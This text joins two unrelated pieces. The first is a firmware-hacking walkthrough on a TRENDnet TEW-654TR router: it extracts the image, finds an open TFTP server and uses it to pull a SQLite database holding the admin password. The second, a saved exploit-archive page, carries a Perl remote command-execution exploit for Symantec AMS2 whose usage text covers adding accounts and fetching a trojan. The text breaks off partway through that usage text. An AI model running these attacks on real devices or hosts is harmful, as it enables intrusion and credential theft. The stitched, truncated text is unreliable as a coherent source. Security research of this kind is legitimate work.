1063834   	0x103B9A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60556 bytes
1083190   	0x108736  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 62728 bytes
1096075   	0x10B98B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 53587 bytes
1108762   	0x10EB1A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 63640 bytes
1122742   	0x1121B6  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 48555 bytes
1138194   	0x115E12  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1159993   	0x11B339  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1179451   	0x11FF3B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1197984   	0x1247A0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1218234   	0x1296BA  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1235094   	0x12D896  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33224 bytes
1238697   	0x12E6A9  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 59152 bytes
1257323   	0x132F6B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 41920 bytes
1270434   	0x1362A2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34652 bytes
1281426   	0x138D92  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1301790   	0x13DD1E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9860 bytes
1304542   	0x13E7DE  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61700 bytes
1317957   	0x141C45  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1333299   	0x145833  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 26688 bytes
1335163   	0x145F7B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 54920 bytes
1350148   	0x149A04  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1372419   	0x14F103  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1396232   	0x154E08  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1418715   	0x15A5DB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1440677   	0x15FBA5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1464261   	0x1657C5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1488446   	0x16B63E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1515155   	0x171E93  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34556 bytes
1519314   	0x172ED2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 49040 bytes
1533960   	0x176808  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1553645   	0x17B4ED  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1571624   	0x17FB28  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 50752 bytes
1584757   	0x182E75  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1608729   	0x188C19  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1634521   	0x18F0D9  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1656201   	0x194589  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1676037   	0x199305  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1697714   	0x19E7B2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1718346   	0x1A384A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1741453   	0x1A928D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1761635   	0x1AE163  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1779758   	0x1B282E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1796371   	0x1B6913  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1818076   	0x1BBDDC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1838965   	0x1C0F75  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1862439   	0x1C6B27  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1883258   	0x1CBC7A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1903737   	0x1D0C79  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1913134   	0x1D312E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1928107   	0x1D6BAB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1948416   	0x1DBB00  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1965420   	0x1DFD6C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
1982834   	0x1E4172  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2000018   	0x1E8492  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2016949   	0x1EC6B5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 27768 bytes
2022077   	0x1EDABD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2046208   	0x1F3900  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2070850   	0x1F9942  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2094816   	0x1FF6E0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2113975   	0x2041B7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2136660   	0x209A54  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2160301   	0x20F6AD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2181469   	0x21495D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2200963   	0x219583  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2218280   	0x21D928  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2236380   	0x221FDC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2258078   	0x22749E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2278734   	0x22C54E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2299832   	0x2317B8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2319739   	0x23657B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2326855   	0x238147  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2347775   	0x23D2FF  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2365127   	0x2416C7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2382248   	0x2459A8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2399305   	0x249C49  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2416059   	0x24DDBB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33200 bytes
2422766   	0x24F7EE  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2451217   	0x256711  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 22972 bytes
2455029   	0x2575F5  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2477682   	0x25CE72  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 34668 bytes
2485730   	0x25EDE2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 51421 bytes
2502716   	0x26303C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 56320 bytes
2505240   	0x263A18  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 56662 bytes
2509097   	0x264929  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 53056 bytes
2521207   	0x267877  	gzip compressed data, from Unix, last modified: Mon May 30 09:00:09 2011
2779412   	0x2A6914  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2803612   	0x2AC79C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 37576 bytes
2815638   	0x2AF696  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 23898 bytes
2817417   	0x2AFD89  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 45620 bytes
2832461   	0x2B384D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2853902   	0x2B8C0E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2516 bytes
2854521   	0x2B8E79  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2875770   	0x2BE17A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2508 bytes
2876385   	0x2BE3E1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 63696 bytes
2896777   	0x2C3389  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 49736 bytes
2912739   	0x2C71E3  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2926198   	0x2CA676  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 45848 bytes
2938975   	0x2CD85F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2960914   	0x2D2E12  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1452 bytes
2961392   	0x2D2FF0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
2983182   	0x2D850E  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 26972 bytes
2990524   	0x2DA1BC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3010089   	0x2DEE29  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 36312 bytes
3020945   	0x2E1891  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 52136 bytes
3036956   	0x2E571C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3059555   	0x2EAF63  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3081633   	0x2F05A1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3104019   	0x2F5D13  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3125830   	0x2FB246  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 25860 bytes
3131543   	0x2FC897  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3148776   	0x300BE8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3165665   	0x304DE1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2972 bytes
3166400   	0x3050C0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3186708   	0x30A014  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3203568   	0x30E1F0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3222595   	0x312C43  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3238860   	0x316BCC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3252694   	0x31A1D6  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3263200   	0x31CAE0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4696 bytes
3264093   	0x31CE5D  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 54996 bytes
3281541   	0x321285  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61492 bytes
3302296   	0x326398  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 33292 bytes
3312600   	0x328BD8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3334352   	0x32E0D0  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3353951   	0x332D5F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3374384   	0x337D30  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3394491   	0x33CBBB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 13312 bytes
3396395   	0x33D32B  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3415501   	0x341DCD  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3433971   	0x3465F3  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3452202   	0x34AD2A  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3467771   	0x34E9FB  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 22604 bytes
3470488   	0x34F498  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 55552 bytes
3487801   	0x353839  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 61960 bytes
3503338   	0x3574EA  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3524956   	0x35C95C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3543874   	0x361342  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3565538   	0x3667E2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5632 bytes
3566520   	0x366BB8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3585576   	0x36B628  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 48652 bytes
3598572   	0x36E8EC  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 51028 bytes
3613956   	0x372504  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 44961 bytes
3623032   	0x374878  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65536 bytes
3640273   	0x378BD1  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 17176 bytes
3645128   	0x379EC8  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 59460 bytes
3662337   	0x37E201  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60536 bytes
3679557   	0x382545  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 29759 bytes
3687215   	0x38432F  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 8192 bytes
3689455   	0x384BEF  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3038 bytes
3690332   	0x384F5C  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5362 bytes
3693543   	0x385BE7  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 496 bytes
3693762   	0x385CC2  	LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2888 bytes
The Firmware Mod Kit should be able to automatically extract this firmware image for us:
eve@eve:/opt/firmware-mod-kit/trunk# ./extract-ng.sh ~/TEW654TR/TEW-654TRA1_FW110B12.bin
Firmware Mod Kit (build-ng) 0.70 beta, (c)2011 Craig Heffner, Jeremy Collake

http://www.bitsum.com

Scanning firmware...

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
64        	0x40      	uImage header, header size: 64 bytes, header CRC: 0xE5BE5107, created: Mon May 30 09:00:10 2011, image size: 883118 bytes, Data Address: 0x80000000, Entry Point: 0x80282000, data CRC: 0xB8911044, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: Linux Kernel Image
917568    	0xE0040   	Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 2776952 bytes, 361 inodes, blocksize: 65536 bytes, created: Mon May 30 09:00:17 2011

Extracting 917568 bytes of  header image at offset 0
Extracting squashfs file system at offset 917568
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in 'fmk/*'
With the file system extracted, one of the first things to look for are any configuration files or start up scripts in the etc directory:
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ ls -l
total 16
-rwxrwxrwx 1 root root  230 2008-11-10 05:54 fstab
-rwxr-xr-x 1 root root 3774 2011-05-30 09:00 icon.ico
-rwxrwxrwx 1 root root  109 2008-11-10 05:54 inittab
drwxrwxrwx 2 root root 4096 2011-09-22 20:27 rc.d
lrwxrwxrwx 1 root root   22 2011-09-22 20:25 resolv.conf -> ../var/etc/resolv.conf
Not much in the way of config files, but the rc.d directory does contain an rcS shell script:
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ ls -l rc.d/
total 4
-rwxrwxrwx 1 root root 768 2010-03-23 00:06 rcS
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs/etc$ file rc.d/rcS
rc.d/rcS: a /bin/ash script text executable
Since the rcS file is usually used to initialize services and environments on start up, it is worthwhile to take a closer look at it:
#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var

cp -f /etc/udhcpd.conf /var/etc/
cp -f /etc/udhcpd.leases /var/misc/

#Add link for resolv.conf
#ln -sf /var/etc/resolv.conf /etc/resolv.conf

# Load configure file from Flash
/bin/echo "Init System..."
system_manager &

# Start tftpd
/bin/echo "Start Tftpd..."
tftpd &

#insert cc_dev module for reset packet counter
insmod /lib/modules/cc_dev.ko
This script does appear to be run on startup. It creates some temporary directories then runs system_manager, tftpd, and loads a kernel module. The tftpd command is particularly interesting! Let’s take a quick look at the binary:
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ find -name tftpd
./sbin/tftpd
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ file ./sbin/tftpd 
./sbin/tftpd: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./sbin/tftpd 
/lib/ld-uClibc.so.0
p ,D
_init
_fini
__uClibc_main
__deregister_frame_info
__register_frame_info
_Jv_RegisterClasses
bind
printf
puts
fopen
tftp_receive
tftp_free
TFTPswrite
__errno_location
tftp_send
TFTPsread
fclose
strerror
malloc
strcpy
fork
wait
tftpd_general
exit
NumberTimeOut
PortTFTP
create_socket
recvfrom
tftp_connection
fwrite
fread
strlen
sendto
memset
select
memcpy
memcmp
preamble_mac
execute_smac_cmds
ioctl
recv
save_upload_file
tftp_receive_ext
tftp_send_ext
libputil.so
_DYNAMIC_LINKING
__RLD_MAP
_GLOBAL_OFFSET_TABLE_
napt_session_list
libmp.so
libsqlite3.so.0
libdbapi.so.1
libc.so.0
_ftext
_fdata
_edata
__bss_start
_fbss
_end
&9'
0-B$
,!$
0-!$
$!@
%&! `
'!8@
Creation socket failure
bind socket failure.
octet
TFTP op code is not correct
TFTP error
TFTP fork error
file name is corrupted.
TFTP main
standard_tftp_server launched on port %d.
create socket error %d
error mesg: %s
send nak failed: %d
TFTP receving.....
TFTP receive successfully
TFTP: out of memory.
tftp: write error : %d
TFTP timeout
tftp: select error : %d
tftp: op code is not correct
create socket failure %d:
TFTP send successfully
sendto failure %d
TFTPread error : %d
opcode not correct
From the function names and strings, this appears to be a pretty straight forward tftp server. Let’s see if we can connect to the tftp server and download a file. We know from the rcS script above that the file /var/etc/udhcpd.conf gets created at boot, so we’ll request that file as a test:
eve@eve:~$ tftp 1.1.1.102
tftp> get /var/etc/udhcpd.conf
Received 615 bytes in 0.0 seconds
tftp> quit
eve@eve:~$ cat udhcpd.conf 
# Sample udhcpd configuration file (/etc/udhcpd.conf)

# The location of the leases file
lease_file	/var/misc/udhcpd.leases

# The location of the pid file
pidfile	/var/run/udhcpd.pid

# Everytime udhcpd writes a leases file, the below script will be called.
# Useful for writing the lease file to flash every few hours.
notify_file	dumpleases 	# <--- useful for debugging

# The following settings are added by system_manager

interface br0
opt router 192.168.10.1
option subnet 255.255.255.0
option domain
start 192.168.10.101
end 192.168.10.199
option lease 604800
static_lease 	00:14:d1:b6:02:86 	192.168.10.1
Well it looks like the tftp service is running and accessible. Ideally what we'd like to find is where any sensitive information is stored on the file system so that we can download it through the tftp service. 
From the comments in the rcS file, we also know that the system_manager binary is responsible for "load[ing] [the] configure file from Flash". If the system_manager saves the configuration file to a temporary file or to a location in ramdisk, we should be able to retrieve it.
Let's see if there are any file paths referenced by system_manager:
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./usr/bin/system_manager | grep '/'
/lib/ld-uClibc.so.0
/etc/default_rt.db
/etc/rt.db
/etc/default_ap.db
/etc/ap.db
/etc/default_apc.db
/etc/apc.db
ln -sf /var/etc/resolv.conf /etc/resolv.conf
/etc/scripts/config-vlan.sh 2 0
tar -zxf /etc/www.tgz
rm -f /etc/www.tgz
cp /www/ap/* /www
cp /www/apc/* /www
cp /www/rt/* /www
rm -rf /www/ap
rm -rf /www/apc
rm -rf /www/rt
cp /usr/bin/my_cgi.cgi /www
mkdir -p /var/log/lighttpd
/usr/bin/lighttpd -f /etc/lighttpd/lighttpd.conf
/var/run/rc.pid
telnetd -l /bin/sh &
/var/run/manager.pid
/var/tmp/wlan_up_time.txt
/lib/modules/2.6.21/kernel/drivers/net/wireless/rt2860v2_ap/rt2860v2_ap.ko
/lib/modules/2.6.21/kernel/drivers/net/wireless/rt2860v2_sta/rt2860v2_sta.ko
/mnt/Wireless/RT2860AP/RT2860AP.dat
/etc/Wireless/RT2860AP/RT2860AP.dat
/mnt/Wireless/RT2860AP/RT2860STA.dat
/etc/Wireless/RT2860AP/RT2860STA.dat
echo 1 > /var/tmp/wireless_enable
echo 0 > /var/tmp/wireless_enable
/var/tmp/wps_status
/var/run/wps_gpio.pid
/var/tmp/dhcp_server.txt
/var/tmp/dhcp_gateway.txt
/var/tmp/dhcpc.tmp
/usr/share/udhcpc/default.bound-dns
/var/misc/udhcpd.leases
/var/etc/udhcpd.conf
/etc/udhcpd.leases
/var/tmp/wan_connect_time.tmp
/var/log/FW_log
/var/log/message_die_bak
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o %s -s %s/%s -j MASQUERADE
echo nameserver %s > /var/etc/resolv.conf
echo nameserver %s >> /var/etc/resolv.conf
/var/etc/ntp.conf
/var/run/timer.pid
The .db files are particularly suspect, as they each appear to have a default backup file. Almost all routers have the ability to restore their default configuration, so they have to store these default settings somewhere; if these .db files are in fact the router's configuration files then this would make sense.
These .db files could be just what we're looking for, but which one should we get? We probably don't want the default files, so that leaves rt.db, ap.db and apc.db. Recall that the device's product page mentioned that it can operate in three different modes: router, access point, and access point client. These files are probably the separate configurations for each mode. 
Since the target appears to have remote administration enabled, it is probably not acting as an access point or a client device - a straight access point or client probably wouldn't have a concept of "WAN" vs "LAN" interfaces - so we'll try the rt.db (router) file:
eve@eve:~$ tftp 1.1.1.102
tftp> binary
tftp> get /etc/rt.db
Received 49152 bytes in 0.1 seconds
tftp> quit
eve@eve:~$ file rt.db 
rt.db: SQLite 3.x database
A SQLite database, very interesting! Let's explore it a little with the sqlite3 utility:
eve@eve:~$ sqlite3 rt.db
SQLite version 3.6.22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .tables
advanced_network      restore_default       wan_static
daylight_saving       smtp_settings         website_filter
db_version            special_application   website_filter_mode
dhcp_server           static_routing        wireless_advanced
dmz                   syslog                wireless_basic
dynamic_dns           time                  wireless_filter
dynamic_routing       user                  wireless_filter_mode
ip_filter             virtual_server        wireless_security
lan_settings          wan_dhcp              wireless_wps
log_setting           wan_l2tp              wizard_setting
message               wan_pppoe             wpa_settings
nat_filter            wan_pptp
remote_management     wan_settings
sqlite> .schema user
CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
sqlite> select * from user;
admin|asecretpassword|1
user|asecretpassword|0
sqlite>
According to the database, the administrative login is admin:asecretpassword. Let's try it out:

Success! A remote 0-day from some simple firmware analysis; welcome to the wonderful world of embedded security.
This exploit was rather trivial, but this device is chock full of other, more interesting, bugs. We'll explore some more of these vulnerabilities in part 2, so stay tuned!

﻿http://cnc.sebug.net/exploit/19072/ 
19072: Remote command execution exploit for the AMS2 (Alert Management Systems 2) component of Symantec
Created:
2/6/2010 2:13:06 PM
Updated:
2/6/2010 2:13:17 PM
Author:

Tags:
bookmark Exploit LOLZ



[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
#The AMS2 (Alert Management Systems 2) component of multiple Symantec products is prone to a remote #command-execution vulnerability because the software fails to adequately sanitize user-supplied #input.
 
#Successfully exploiting this issue will allow an attacker to execute arbitrary commands with #SYSTEM-level privileges, completely compromising affected computers. Failed exploit attempts will #result in a denial-of-service condition.
 
# # # # # # # # # # # # # # # # # # # # # # # # #
### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE
### REMOTE SYSTEM LEVEL EXPLOIT
### USE AT YOUR OWN RISK!
### by Kingcope in 2009
# # # # # # # # # # # # # # # # # # # # # # # # #
 
use IO::Socket;
 
sub rce {
($target, $cmmd) = @_;
$sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '12174',
                              Proto    => 'tcp') || goto lbl;
$magic = sprintf("%d", 0xc0d3b4b3);
$command = "cmd.exe /C $cmmd | exit $magic";
$cmd = "$command";
$req = "\x00\x00\x00\x00" . pack("v", length($cmd)+1) . $cmd . "\x00";
print $sock $req;
 
read($sock, $res, 0x14);
$resp = substr($res, 0x10, 4);
if ($resp eq pack("L", 0xc0d3b4b3)) {
    print "SUCCESS!\n";
} else {
    print "COMMAND FAILED\n";
}
 
return;
lbl:
print "PORT CLOSED\n";
exit;
 
}
 
sub usage {
    print "usage: perl xpl.pl [-a <target> <username> <password>] [-a2 <target> <username> <password> <administrators groupname> [-d <target> <trojan url>] [-t <target> ]\n";
    print "-a IS ADDUSER WITH SID METHOD\n";
